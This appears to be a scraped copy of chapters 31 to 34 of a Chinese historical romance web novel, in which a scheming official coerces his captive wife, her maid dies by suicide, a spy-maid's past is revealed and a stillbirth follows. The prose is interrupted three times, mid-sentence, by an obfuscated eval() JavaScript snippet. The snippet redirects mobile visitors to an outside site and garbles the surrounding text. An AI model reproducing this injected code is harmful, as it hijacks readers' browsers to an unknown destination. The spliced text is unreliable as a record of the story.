章 “放开她！”褚笑眉厉声喝道。 她抢身上前，却见那一柄抵在青简颈侧的长刀骤然贴紧，划破了婢女细嫩的肌肤，鲜血流淌下来。 “夫人最好乖一些，否则只怕你的婢女会当场殒命。”江铭仍端着笑意，温声细语地出言警告。 褚笑眉恶狠狠地瞪向他，却也只得依言顿住脚步，不敢再妄动：“那药是我叫她去取的，与她无关！你要杀要剐，有本事都冲我来！” “夫人如今身在江府，你的一言一行、一举一动，我自然都了如指掌。”江铭道，“我迈入你院中时，已经知晓了青简的踪迹。方才那番话，是在提醒你，亦是在警告她。 “她执意要从中作梗，离间我与夫人的关系。夫人说说看，我还该留着她吗？” “少在这里假惺惺的！你我走到今日的地步，难道不是你一手造成的吗？与她何干？！”褚笑眉怒道，“你要是敢动她，我一定不会放过你的！” “她的命能不能保住，全在夫人一念之间。” 褚笑眉皱起了眉头：“你什么意思？” “夫人想让她活命，可以——只要你从此以后绝了和离的心思，安安稳稳地将这个孩子生下来……” “娘子，别被他威胁！奴婢不怕死！”青简单薄的身躯有些发抖，仍倔强地挺直了脊梁，红着眼嚷道。 江铭被她打断，倒也不恼，低低地笑了一声：“夫人会怎么选？——是不顾青简的死活，继续恨我、远离我；还是保全她的性命，同我好生做夫妻？” 青简目眦欲裂，骂道：“卑鄙无耻的小人！用这种下作手段要挟，你的圣贤书都读到狗肚子里去了！” 江铭恍若未闻，噙着笑的目光定定地落在褚笑眉身上：“夫人想好了，随时可以告诉我答案。” 褚笑眉望着那在刀锋下的纤瘦身躯，眸中浮起浓重的悲哀与不舍。她绝望地闭了闭眼，哑声开口：“我选青简……” “不要！”青简扬声阻止，两行清泪从她眼角滑落。“娘子，青简从前对你诸多管束，一是受郎君之托，二是怕你受到伤害。 “但无论是过去还是现在，青简从来都不想成为束缚你的锁链。” 她闪烁着泪光的眼眸徐徐抬起，看向与自己一同长大的好友，哽咽道：“白虹，往后的日子里，烦你……照顾好娘子。” 言罢，她猛地向旁一扑，将脖颈往刀口上撞去。 “青简！！” 在褚笑眉的惊呼声中，刺目的鲜血如烟花般绽开。她眼前一片血色，泪水瞬间夺眶而出，将那殷红模糊得愈发秾艳。 她跪倒在地，按住青简颈侧狰狞的伤口，冲周围的人嚷道：“快去请郎中！快去啊！！” 婢女的血被心脏搏动着，一下一下地往外喷。这滚烫的血液灼得人发疼，痛感从手掌一路蔓延至心口。 褚笑眉仍死死捂着青简的伤处，不肯撒手。可青简的血还在源源不断地涌出来，挤过她的指缝、她的掌侧，从任何一个有间隙的地方流淌而下。 她的衣裙早已被鲜血染红，她的泪吧嗒吧嗒地砸进血泊里，溅起一朵又一朵殷红的血花。 她哭着问：“郎中来了吗？快救救她……救救她啊……” 且不说这样短的时间内，郎中根本无法赶到；即便是闫神医如今就在眼前，也不可能救得回伤重至此的人。 青简的血淌得越来越慢，就像渐渐干涸的河流；她的身体也一点一点冷了下去。 江铭望着地上的血泊，看着跪在血泊中痛苦哭嚎的少女，微微有些发怔—— 倒是出乎他的意料，这名看似柔弱的婢女，竟有胆量以命相搏，这般惨烈地死在褚笑眉面前。 “非是孤高辞玉砌，只将清魄铸秋香。” 他蓦地忆起赏菊秋宴上，青简代作的那首诗。 从来不是什么仿前人咏菊之调，而是一个本就高洁坚韧的灵魂，才能颂出这样的字句。 他早该料到的。 少女眸中的悲痛与恨意愈发浓烈，又一条性命压在他们二人肩上，阻隔在彼此之间。有的路迈出了第一步，便再也难以回头。 夜已深了，褚笑眉仍枯坐窗边。月光透过窗棂，极冷极清地铺在她膝上，像是积了薄薄一层雪。 旧的灯烛已燃尽了，白虹点上新烛，柔声劝道：“娘子，去榻上歇歇吧。” “我不困。”褚笑眉哑声回答。 白虹轻轻叹了口气：“好，那奴婢陪娘子坐一会儿。” 褚笑眉如悬丝傀儡般僵硬地抬起头，怆然的目光落到她身上，双眸红肿得厉害：“白虹，是我害死了她……” “娘子，这不怪你，你也没料到事情会发展到这个地步。”白虹劝慰道，“江尚书的手腕，不是娘子能比得过的。娘子往后还是明哲保身，莫要再同他对抗了。” “明哲保身？”褚笑眉嗤笑出声，“青简为使我不必受江铭胁迫，甘愿丧命于刀下——你如今劝我退让？我与他，已是不死不休。” 她握住婢女的手，声音幽冷而坚定：“白虹，你和青简不一样，和我也不一样。你有功夫在身，若事有不测……答应我，一定要保全自己。” “娘子说的这是什么话？”白虹屈膝而跪，“奴婢自从追随在娘子身边，受娘子赤诚以待、爱重有加，岂有为全一己之身、弃主不顾的道理？” “我知晓你一片忠心。”褚笑眉伸手扶她起来，“但正如你所说，江铭此人深不可测。我每一次全力反抗，都被他轻而易举地碾碎……我大概真是斗不过他的。所以我不想你再做无谓的牺牲，你明白吗？” 白虹铮铮道：“为娘子牺牲，怎能叫‘无谓’？奴婢此身微如草芥，死不足惜，愿为娘子赴汤蹈火、肝脑涂地。 “娘子只消告诉我，你想做什么。奴婢会为你去做。” 褚笑眉摇了摇头：“这是我与江铭之间的恩怨，毋须再将你牵连进来。” 白虹又劝了许多，褚笑眉仍是不允，只得作罢。 一夜未眠。 再度见到江铭时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488476|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，褚笑眉没有叫喊着要他“滚出去”，只是掀起眼帘，冷淡地瞥了他一眼。 江铭于她身边坐下，关切道：“听下人说，你房中的灯亮了整夜。我命人调了些安神香，晚间叫她们点上。” 他话中没有询问的意思，仅仅是在叙述他的决定——褚笑眉也出奇地没有反对。 “青简的事，我很抱歉。” 江铭自然知晓她是因为什么一夜未眠，也知晓自己正是这件事的罪魁祸首。 他垂下眼帘，低声道：“我没想逼死她的，我只是……” “只是想挟她逼迫我？”褚笑眉冷笑一声，“有意也好，无意也罢，有什么分别？我全家的性命、平远侯张家满门，如今连同青简在内，你究竟害死了我身边多少人，还算得过来吗？” “阿眉，我不敢奢求你的原谅。我只希望你能给我一个机会，让我补偿你……” “补偿？你拿什么补偿？” 江铭抬眼望向她，沉如池渊的眼眸中映着她的身影。他一字一句道：“阿眉想要什么，我都可以给你。” “当真？”褚笑眉缓和了脸色，竟勾起唇角朝他一笑。“那你过来些，我告诉你我想要什么。” 江铭那双狐狸眼微微眯起，上下打量着她，似在揣测她的心思。少顷，他仍是依言凑了过去。 “我要……”褚笑眉红唇轻启，猛地拔下发间的金钗，朝他颈间狠狠刺去，话音骤然高得尖利，“你偿命！” 钗尖即将刺入肌肤之时，一只手从旁伸来，死死将那钗身攥住。饶是褚笑眉再如何使力，那手竟如钢浇铁铸一般，丝毫不可撼动。 褚笑眉转头望去，却见那只手的主人——竟然是白虹！ 她惊道：“白虹？！你为何要阻我杀他？” 她以为又会从白虹口中听到那番为她好的陈词滥调，不料白虹那双眸子，只定定望着江铭。 她本能地察觉到了不对劲。 白虹看向江铭的眼神，不像是在看仇人，甚至不像是在看朋友。 ——而像是一条豢养的家犬，在仰头注视着主人，等待他的命令。 耳边传来江铭的轻笑：“原来夫人是想要我的命。” 他直起身子坐回去，悠哉悠哉往后一靠，出言吩咐：“白虹，把她所有的尖锐之物通通收走。” “是，主子。”白虹应道。 褚笑眉的手被婢女掰开，那支金钗划过她掌心，被人一把抽走；她发间的簪钗也被尽数卸下。 ——而她仍在震惊中久久不能回神。 她瞪大了眼睛，看向身侧的婢女，又看向噙着温文笑意、一副万事尽在掌握之中的模样的江铭。 她似乎明白了什么，又似乎不敢相信自己所猜到的。 她生平第一次，真正地感受到了后背发寒，恐惧顺着脊梁一路攀上来，激得她浑身发冷，如坠冰窖。 她不可置信的目光又回到了婢女身上，声音因惊惧而颤抖得厉害： “你方才……叫他什么？” 32. 第 32 章 白虹抬起眼，目光投向江铭，征询他的同意。见他微微颔首，方才答道：“回夫人的话，奴婢来到褚府之前，本就是江家的家生婢。” 世家大族之中，奴婢也分为上、中、下三等。 上等奴婢近身奉主，多选良家子沦落者，姿容端丽，举止娴雅；中等奴婢为力田与百工之流，亦有健仆充“家僮”者，随行护持左右；下等奴婢供粗使杂役，衣食最劣，生杀予夺全凭主命。 她的爷娘，皆是最下等的仆役。 金陵城冬日的雪纷纷而落，堆银砌玉、冷意涔涔，于她而言是最难熬的时候。与其他年龄相仿的贱隶睡在大通铺里，火盆里燃着零星的窳炭。那炭火奄奄一息的，好似随时会灭掉；又散不出什么热，只升起呛人的黑烟。 她蜷着身子，与旁侧的人紧紧挤在一起，仍旧冷得发抖，夜里冻醒好几回。 ——这样的日子持续到了她七岁那年，郎君发话说，要挑选些得力的家生子。 相貌端正、性子伶俐是必不可少的，她有幸入选，成为了郎君精心培养的细作中的一员。 她再不用挨饿受冻，吃穿用度甚至与江府的娘子们无异，是锦衣貂裘、山珍海味。爷娘也因此受了提拔，做了执掌库房的上等家仆。 爷娘总说，郎君所予的恩惠世间罕有，她该竭力报效。 她也确实觉得，郎君真是天底下最好的人。即便为他而死，她亦心甘情愿。 郎君请了先生，纠正他们吴地的口音，教习大雍的官话；又去了奴籍，为他们改换身份。 他们被带到长安城，伪装成贫困自卖的良人，送入各家的府邸之中。 ——她是最争气的那一个。 她偷偷给褚家娘子的马儿下药，那匹马果真发了狂。她飞扑上前，死死拽住缰绳；两股力量相争间，马儿将她踹翻在地，剧烈的痛楚骤然从腿上传来。她疼得头脑发懵，耳中嗡嗡作响，甚至以为自己要死了。 难以忍受的剧痛折磨着她，对死亡的恐惧萦绕在心头，但她不后悔。她早下定了决心：为了郎君，为了郎君要做的事，就算是献上她卑贱的性命，也是值得的。 所幸命运待她不薄，她没死，只是被踩断了腿。 她借此成功取得了褚家人的信任——她赌赢了。至于那马儿究竟为什么突然失控，没有人会怀疑到一个年仅九岁的孩童身上。 一封封密信由长安寄往金陵。 少年拆开那些信，从纸上的字字句句，掌握了权贵世家的秘辛与动向。 父亲曾问他，倘若往后中第，当如何在朝堂上自处？ 他虽尚未入局，于朝中形势，已然了如指掌： 先帝驾崩时，当今圣上才六岁，国师与丞相受命辅政。二人曾经都是助先帝安邦立国的大功臣，可权势这种东西，一旦攥进了手里，便鲜少有人能放弃。 丞相乃前朝遗老，颇受文臣拥护；又是太后的生父，身为外戚而干政。 至于国师，则武功高强，掌大雍半数兵权；平远侯张永昌追随于他，又有一义子靳愿骁勇至极。 他回答说：“父亲，我既要以科举入仕，又出身江家；于我而言，拜入丞相一党，自然是最好的选择。” 父亲捋须颔首，正要赞同他的答案。岂料他话锋一转，又道： “可于大雍而言不是。” 他条分缕析，徐徐道来：“如今主少国疑，丞相、国师两党掌权，乃不得已而为之。但长此以往，外戚、重臣专政，必生动乱。 “若我入得朝堂，定要扶持天子，以安四方。” 父亲略有些惊讶：“你可知这条路有多险？” “知道，”少年眸光坚定，“但我做得到。” 褚家，是他反复斟酌、精挑细选的下手目标。 那一年，褚笑眉八岁，于天地间纵马驰骋、无所拘束；而他十三岁，亲手培植的细作渗进了各个世家大族，织成一张恢恢巨网。 有人无忧无虑，有人苦心经营。 他见证着这位京城第一贵女的成长，几乎可以算是她半个朋友——他知晓她同谁亲近，喜欢看什么样的话本子，爱吃哪些甜点膳食…… 他三元及第，从前只在信上读到的少女，终于在金榜下惊鸿一遇。 “榜下初见，情似相识？”褚笑眉念出他剖明心意时曾说过的字句，双眼红得厉害，眸中震颤着水光。好像从这一刻起，她才真正看清他。 她勾了勾唇角，自嘲一笑：“难怪你说像是旧识，我的诸多喜好，你早就向白虹打探得一清二楚了吧？” 江铭垂下眼帘，算是默认。 “既然白虹是你的人……”她惨白的唇瓣有些发抖，仍坚持着要叩问真相，“殿试放榜那日，是不是她有意叫车夫走了御街？你与我的初遇，是你设计好的？” “是。” 一旦发觉了半点蛛丝马迹，从前种种异常之象，皆如抽丝剥茧般层层揭开。 她又问：“我于护国寺丢失的荷包，恰好被你寻回，世上哪有这般巧合的事？除非那一只荷包，本就是你命人窃走的，是也不是？” “是。” “醉霞阁失火，你在最危急的时刻救下了我，还让我发现你私藏我的荷包，故而我对你的心意深信不疑。如今细细想来，那一场火……” 江铭哑声承认：“也是我安排的。” “褚家出事以后，白虹提议我向国公爷写信求援，想必也是你的授意。” 褚笑眉的嗓音涩得厉害：“承望哥哥他……如今怎么样了？” “靳愿举兵而反，已被诛灭。” “我那一封求援信，原来是引他入局的饵，是我害死了他。” 她的心口好似破开一个大洞，洞中是幽黑无底的深渊，吸食掉她最后一丝希望。 她惨然地笑了笑，泪光沁湿了眼角：“我居然到现在才明白过来……所谓伉俪情深，从头至尾，不过一场利用。” 她仍旧记得初见那一日，旁人皆借着金榜题名的荣耀攀附权贵，唯有神仪明秀的状元郎长身玉立，一字一句表明心迹：“以科考入仕，本已汲汲于功名；连嫁娶也要趋利避害，平生岂有片刻随心？” 少女的心弦在满城金桂香中悄然而动。铮铮字句犹在耳，可现下想来，连这样一番话，都是特地编好了哄她的，好教她以为他当真一身文人清骨。 她目光悲怆，忽地开口问他：“江铭，连婚事也能用作算计的筹码，你这一生……当真有过随心所欲的时候吗？” 有过吗？ 他心上的门扉骤然被这一句话狠狠撞开。 聪慧过人、天资卓绝的少年，自小被家族寄予厚望。他有天赋，又肯下苦功；君子六艺，样样俱是顶尖的。 他从不忤逆父亲的意思，父亲要他做到十分好，他能做到十二分。 父亲唯一一次训斥他，是他捡了只受伤的狸奴来饲养。 猫儿总是要人陪的。他正拎着一支孔雀翎逗弄小毛团子，父亲自窗边经过时看见，脸色霎时垮了下来。 “不务正业。”父亲冷冷地斥了一句，命下人将那猫儿打杀了。 他跪着央求父亲收回成命。他解释说，当日的课业早做完了，次日的也预习过了，父亲若是不信，可以随意考校。 “课业能做完，书能读完吗？”父亲道，“你都这么大了，难道还不懂学无止境的道理？” 他没有话可以反驳了。 棍棒落下的闷响和猫儿凄厉的哀嚎响在他耳边，他抿着唇拼命地忍，泪水还是夺眶而出，砸在青石砖的地面上。 “不争气的东西，为个畜生哭成这样。”父亲冷声道，“好好想想清楚，你究竟该做什么。” 他知道他该做什么。 他该勤读书，考科举，登青云，平天下，做治世之能臣。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507082|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他一举登科，经年布下的棋局终于到了打入的时机。 他怀着目的接近的少女，天真单纯、不谙世事，一步步走进他的陷阱。 她完全就是与他相反的模样。 京城贵胄暗地里都说褚家娘子是个草包，可她分明活得明媚恣意；他是开国以来最年轻的状元郎，却满心算计、步步为营。 她其实本性不坏，她只是不知道褚家做过的恶事，像是从淤泥里开出的未被沾染的花。 她总是怀着满腔热忱，赤诚地爱着她在意的每一个人。 白虹告诉他，那一日褚家娘子来见他，在屋里挑衣裳就挑了半个时辰。她送给他的猫儿，说是随手买下，其实是特地选来赠他的。 他以前的猫儿是只狸花，怀中这只雪白的波斯猫，和它一点都不像。 可是面前的少女颊上染着红霞，眼底满满映着他的模样，眸子亮得惊人。她轻声开口，为雪狸定下名字：“就叫‘小喜’吧。” 她说，要把她的欢喜分他一些。 他忽地觉得自己卑劣。生平第一回，他有了落荒而逃的冲动。 ——但他没有逃。他为此筹谋多年，怎可因一时的愧疚不安而放弃？他如常地同她谈笑，依循计划继续行事。 东篱秋宴上，他是有意让她吃醋。他一眼就能看出吴媚打的什么主意，无论她如何用温柔小意的模样作掩饰，那双充满野心的眼睛却骗不过他去——她出身低微，若能攀上他，也算是飞上枝头了。 他知晓，但他并不揭穿，他乐得利用这个送上门来的机会，再添最后一把火。 褚笑眉负气离去，他让手下跟过去，在醉霞阁放了火，再冲进火场救她。水到渠成，天衣无缝，他与她由此定情、结为连理。 她讨厌读书，从不会翻开他书案上的公文；府中的事务也懒得管，正好便于他行事。 她不假辞色，爱就是爱，恨就是恨；若是因什么事恼了，就会皱着鼻子撅着嘴，一副气鼓鼓的模样。她的心思都写在脸上，他从来不必费力去猜。 哄她开心也是一件极其容易的事情，只需要将她搂进怀中，温声软语地唤她“长欢”，再在她脸颊落下几个吻，她的唇角就压也压不住了，连眉眼都笑得弯起来。 和她成婚后的日子，实在是过得轻松快活。倒真应了此前那一句：常生欢喜，举案齐眉。 ……如果他没有扳倒褚家，他们一定会是一对神仙眷侣。 她素来没什么心事，往榻上一倒就能入睡；他却总是难眠，心中一遍一遍推演接下来的落子之处。 丞相一党多为文臣，可徐徐图之，不足为惧；最要命的就是手握兵权的国师一党，尤其是靳愿。 他向圣上提议，遣靳愿前去西征；趁他离京之时，一并除去褚家与张家。只要动作够快，当场诛杀掌兵权的平远侯父子，张、褚两家便绝无还手之力。 至于靳愿，自有别的圈套留给他…… 他思及此处，身侧的她蓦地动了动。他悚然一惊，却见她仍阖眸睡着，大概是觉得冷了，本能地往他怀里钻，梦中呓语尚且在呢喃着唤他：“夫君……” 他胸中那口气松了下来，为她掖好被角，又往怀中拢了拢。 除恶务尽，在原本的计划中，他没想留下她的性命。 ——可他不知为何，竟选择将她护了下来。或许是认为她无辜受累，或许是觉得有愧于她，或许是她腹中有了他的骨肉，又或许是……他真的动了心，开始贪恋这样的日子。 方才险些刺入他颈侧的簪子已被白虹收了起来，那金簪反射着日光，刺得他眼睛生疼。 “夫人想要我的命，我可以给，但现在还不是时候。”他垂眸掩去眼底暗色，尽量语气温和地同她商量。“待我做完我要做的事，再安顿好你和孩子，我会将性命亲手奉上，赔给夫人。 “这样的条件，阿眉可以接受吗？” 33. 第 33 章 褚笑眉唇角勾着一抹讽刺的冷笑：“你骗得我这样惨，你不会以为，我还会相信你的花言巧语吧？” 江铭拉起她的手按在心口，毫不回避她的目光，一字一句保证：“我方才所言，句句真心。如违此诺，天诛地灭，永不超生。” 他的心脏一下一下地跳动着，接连的心跳震颤在她掌中，只教她觉得恶心。她曲起手指，指甲重重在他衣料上划过，简直想将他的心剜出来—— 但她现在还杀不了他。她手中没有任何的利器，遑论武功高强的白虹还在一旁守着。 她嫌恶地抽回手，轻嗤道：“赌咒发誓谁不会？” 此前白虹处处维护江铭，因而被青简疑心。白虹当即跪下表明心迹，言辞凿凿，句句忠心。 那时的白虹，如今的江铭……他们主仆二人，还真是一个模子里刻出来的，连骗人都惯用相同的手段。 江铭叹了口气：“那夫人要如何才能信我？” 她不会信他。 听听他这话：待他做完他要做的事，他会将性命亲手奉上…… 她与他之间的血海深仇，竟要经过他的应允才能报偿？ 他看似是在让步，其实是要她放弃抵抗，将主动权全然地交到他手中。 褚笑眉只留给他一个字：“滚。” 江府庭院深深，嫁进来容易，想出去却是难如登天。白虹既已暴露身份，也不必再装了，日日寸步不离地看着她。 她只能在白虹的监视下，于院中走一走。 她登上楼阁，眺望八街九陌、流水游龙的长安城。曾经任她驰骋的繁华帝都，而今被这高高的院墙所隔开，遥不可及。 或许不止是她。 京城这样多的高门大户，焉知又有多少女子被困其中，被夫权死死地压住，终身再不得自由。 起风了。 她向白虹道：“这风吹得我头疼，你去取一顶帷帽过来。” 白虹是不可能走开的。虽垂首应下，却转身朝向另一名婢女，将这项吩咐转达给旁人去做。 忽听得那名婢女惊呼出声：“夫人！！” 身后传来一阵闷响，白虹急忙回头，只见褚笑眉竟从楼梯滚了下去。她忙不迭提气跃出，抢身上前相护。 她接住褚笑眉的时机到底还是晚了，怀中的她痛苦地捂着腹部，刺目的鲜血染红了她的裙摆，在她身下漫开。 江铭得到消息，破天荒地擅离职守，从官衙处赶回。稳婆和京中名医都被请了来，侍婢们端着一盆盆血水，屋里屋外进出忙碌。 白虹跪在屋前，脸色煞白，眼圈却红得厉害：“奴婢一时疏忽，请主子责罚。” 他冷声询问：“她怎么样？” 白虹道：“失血过多，郎中说……情况有些凶险。” “她是有意摔下去的？” “是。”白虹道，“夫人跌落前，特地分散了奴婢的注意。” 她竟这般憎恶他，宁可以性命相搏，也不愿诞下他的骨肉？ 江铭抿紧了唇，挑帘踏入屋内。 捧着铜盆出来的侍女撞到他，险些将盆中血水泼到他身上。婢女吓得脸色苍白，急忙跪地，拦在他身前：“产房不吉，大人还是莫要……” 他抬脚踹开这个碍事的人，步子愈疾，行至榻边。 她乌发凌乱，早已被冷汗浸得湿透了，黏黏乎乎地贴在颊边。她死死攥着身下的锦褥，额头上绷起了醒目的青筋，遵循稳婆的引导而用力时，连呼吸都疼得发颤。 她的目光因疼痛而涣散，一瞥见他的身影，眼神又骤然聚焦，如利刃般森寒地刺向他。 她声嘶力竭的惨嚎和嘶吼齐齐从唇齿间迸出：“滚出去——！” 她这一喊，蓦地乱了气息。她大口喘息，喉咙里发出混杂着哭腔的嚎叫，声音尖锐得近乎要将屋顶掀开。 “夫人！别喊！这样会浪费体力！”稳婆急忙按住她，“听我的！呼——吸——” 另一名稳婆上前劝道：“大人，您先出去吧。有您在这儿，夫人情绪太激动了……” 他依言退出去，双眼红得厉害。 风更大了。阴云黑沉沉地压下来，是要下雨。 不知晓屋内的情况，他心中惶急，好似悬在半空，没个着落。 天色渐晚渐暗，闷雷阵阵，隐约有一股铁锈味从土壤中浮起。空气沉重得近乎凝为实质，压得人心口发闷，甚至喘不上气。 雪亮的电光猛然一闪，照亮了天地，豆大的雨珠落下来，砸在他身上。 白虹自知犯了错，主子没叫她起身，她便不敢起，只是开口劝道：“下雨了，主子到檐下躲躲雨吧。” 江铭恍若未闻。 神仪明秀的尚书大人立在这黄昏后的雨幕中，如一尊久经风霜的石像，冷硬、寂然。他的容色已有些模糊，俊美五官的明暗轮廓反倒愈发清晰。 天光消逝，屋内的烛火成了黑暗中唯一的光亮，时间好似被拉扯得无比漫长。 终于，稳婆抱着一个襁褓出来了。 江铭汲汲地上前，看见稳婆沉重的面色，又迟疑地顿住了脚步，似是在畏惧着什么。 稳婆轻声禀道：“夫人没事，但诞下的孩子……已是个死胎了。” 天上闪过一道电光，将他的脸色照得惨白。他颤抖着双手，将襁褓接了过来。 小小一个婴孩并不沉，却压得他双腿发软。他“噗通”一声跪倒在地，膝前溅开几朵水花，地上蓄积的雨水瞬间将他的官袍染得脏污。 “主子！”白虹心中焦急，即便违背命令，也仍旧冲到了他身边。 江铭只低头看着怀中的孩子。 这个孩子几乎与普通的婴孩无异——如果不是他面色发紫，没有任何的呼吸与心跳。 雨越下越大。 江铭的脸上一片潮湿，水珠滑过他面颊，顺着下颌淌落下来。湿透的官袍紧紧贴在他身上，他的肩膀发着抖，不知是因为寒冷，还是在默然垂泪。 “……”白虹张了张口，本想劝些什么，话到嘴边，又被她咽了下去。她去取了油纸伞，在他头顶撑开，静默地跪在他身侧。 上方的风雨可以被伞面挡住，可地上的雨水越积越多，浅浅的水泊蓄在腿边，寒意无孔不入地刺进肌肤。 白虹不觉得冷，她的心脏好似被他的痛苦所攫住，沉痛得让她无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531334|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸。她为他撑着伞，关切地看着他；他眼睫上沾着泪，于雨夜中颤动着，像是被打湿了脆弱羽翼的濒死蝴蝶。 褚笑眉睡下了，屋内熄了灯，映在他眸中的最后一抹亮光也黯了下去。 他抱着这个死去的孩子，在庭院里跪了一夜。 云开雨霁，月至西边。时近寅时，他该去上朝了。 他更了衣，整理好仪容，乘马车前往宫城。除了微微红肿的眼，他看起来与平素并无差别，在朝堂机辩敏锐，在官衙勤政革新。 她现在恨极了他。 没关系，时光最擅长冲淡一切。只要她还在他身边，她的恨意终有一天会消退，他们还能再做回夫妻。 罗郎中是仁安堂的圣手，日日来为她请脉，配些滋补的药方给她。 她喝药时很配合，往常半点苦也吃不得的高门贵女，如今没有分毫犹豫，就能将一整碗黑乎乎的药汁灌下去。江铭专为她备了蜜饯，她却不肯接。 罗郎中说：“夫人伤及了根本，恐怕以后再难有孕。” 江铭攥紧指节，蓦地红了眼，竟听见她在耳边笑出了声。 他怔怔地望向她，却见她目光虽冷，唇角却真真切切勾着笑意。好似这对她而言完全就是一件喜事，她满意得很。 他伸手去拉她的手，又被她甩开。他低着头，不死心地道：“阿眉，我们还会有孩子的。等你养好身子，我请遍天下名医……” 她冷笑着问他：“治好了又怎样？怀孕生子是女人的能力，我不愿意生下你的孽种，你拿我有什么法子？” “你要是还想你江家有后，就别再跟我纠缠下去。”她盯住他，一字一句道，“放我走。” “阿眉忘记我同你说过的话了吗？你是褚家人，若离了江家夫人的身份……” “少在这儿假惺惺的。”褚笑眉冷声打断，“你不主动提及，谁会想得起来要处置我？” “所以夫人这不是知道吗——你的性命，捏在我手里。”江铭道，“你要走，前脚踏出府去，后脚我就要了你的命。” 她毫不犹豫应下：“好啊。比起夜夜与仇人共枕席，我宁可去死。” 她活下去，是要为家人复仇，要查明自己的身世。若终身困在江府，什么也做不了，倒不如趁早死了。 江铭脸色骤变，狐狸眼微微眯起，很快又被森然笑意取代：“好魄力！” “但我的答案是，不放。” 他紧紧攥住了她的手腕，这一回，任凭她如何挣扎，他都不肯再松开。 他望着她的双眸，定定地道：“我想要的东西，就一定得攥在手中。” 不欢而散。 所幸如今没了腹中的孩子，她也不必特别着急。江铭倒是不曾短了她的膳食和补药，一月过去，她的身子已恢复得差不多了。 她智不及江铭，又有白虹日日看着她。究竟要如何从江府脱身，当真是件难事。 她拈起玉露团咬了一口，酥软的糕点在舌尖碎开，其中竟似乎藏着某种干巴巴的薄片状异物。 她蹙眉从唇间吐出，定睛一看，竟是一张极小的字条，其上写着一个名字： 孟珵。 34. 弦乐将微 侍立在旁的白虹察觉了她的异样，上前两步，询问道：“夫人，怎么了？” “没事。”她将那张字条往掌心一揉，搓成红豆大小的纸团，借着吃糕点的动作掩护，重又塞回嘴里，咽了下去。 孟珵，大名鼎鼎的长安城头号琴师。 褚笑眉曾与此人有过一面之缘，那时她去云间楼赴江铭的邀约，恰好碰见这位琴师于楼中献奏。 除此以外，她并不记得同他有任何交集。 究竟是谁在她的膳食中塞了这样一张字条？目的又是什么？ “今日厨房做的玉露团不合夫人胃口吗？”白虹见她神情变化，拈着糕点迟迟没有咬下一口，关切问道。 “我只是没什么食欲。”褚笑眉用绢帕拭去指尖的糕点渣，起身往屋内而去。“我乏了，要歇一会儿，你别再扰我。” 她躺在榻上，盯着头顶的软烟罗帐，仔仔细细思量这件怪事。 ……也不知传讯之人是敌是友，能否信得过？ 采用这样隐秘的手段传讯，可见此人乃是有意避开江铭的眼线。也就是说，他和江铭绝不会站在同一立场。 既然这人要与江铭作对，那么敌人的敌人就是朋友。管他出于何等用意，总归值得搏上一搏。 “白虹。”她支起身子唤道。 白虹本就守在帐外，闻言当即趋前应道：“夫人有何吩咐？” “去将孟珵先生请来，我想听琴了。” 婢女却站着未动，言明自己的立场：“此事须得等大人回来，问过大人的意思方可。” “好啊，如今不仅不许我出府，就连叫个琴师上门这样的小事，也要经过他的应允？”褚笑眉怒斥道，“他拿我当什么？豢养在家供他取乐的猫儿吗？” “夫人莫要这般揣度大人。您与大人是夫妻，若非您执意要和离，大人也不会如此拘着您。” 褚笑眉白她一眼，懒得再争辩下去。此人一心向着江铭，同她说什么都不过是浪费唇舌罢了。 江铭近日似乎有些忙碌，从没在晚膳的时辰回来过。褚笑眉当然也不会等他——不用面对那张令人生厌的脸，她甚至能多吃半碗饭。 掌灯时分，廊下红纱灯次第亮起。江铭踩着摇曳的光影，踏入了她房中。 其实这是他们二人的房间，自褚家出事以来，她始终对他十分厌恶和抗拒。他也并未强行逼迫于她，一直宿在书房，与她分室而居。 “听说夫人想听琴？”江铭坐到她身侧，语气亲昵，仿佛他们之间未发生任何龃龉，仍是一对恩爱夫妻。 “修竹，去取我的琴。”他吩咐完随侍的小厮，朝她伸出手去，想将她散落的发丝理到耳后。“何必等旁人来？我随时可以弹给夫人听。” “我要听孟先生弹。”褚笑眉别过头，冷冷地避开了他的触碰。 “阿眉只听过一次他的琴音，就这般念念不忘？”江铭动作一僵，收回手敛好衣袖，屈指于案上轻叩。他唇角仍勾着笑，笑意却未达眼底，话音隐隐泛着酸涩。“我哪里比不上他？” “你的琴艺不如他，不然这‘京中第一琴师’的名号，为何不是你的？” 江铭哑然失笑。 他出身清贵世家，以科举入仕，连中三元，可说是取得了文人的最高荣耀……她竟拿他和一名琴师相较？ 这样的对比未免有失公允。以他的身份，绝不会以乐技娱人，自然更不可能借此扬名。 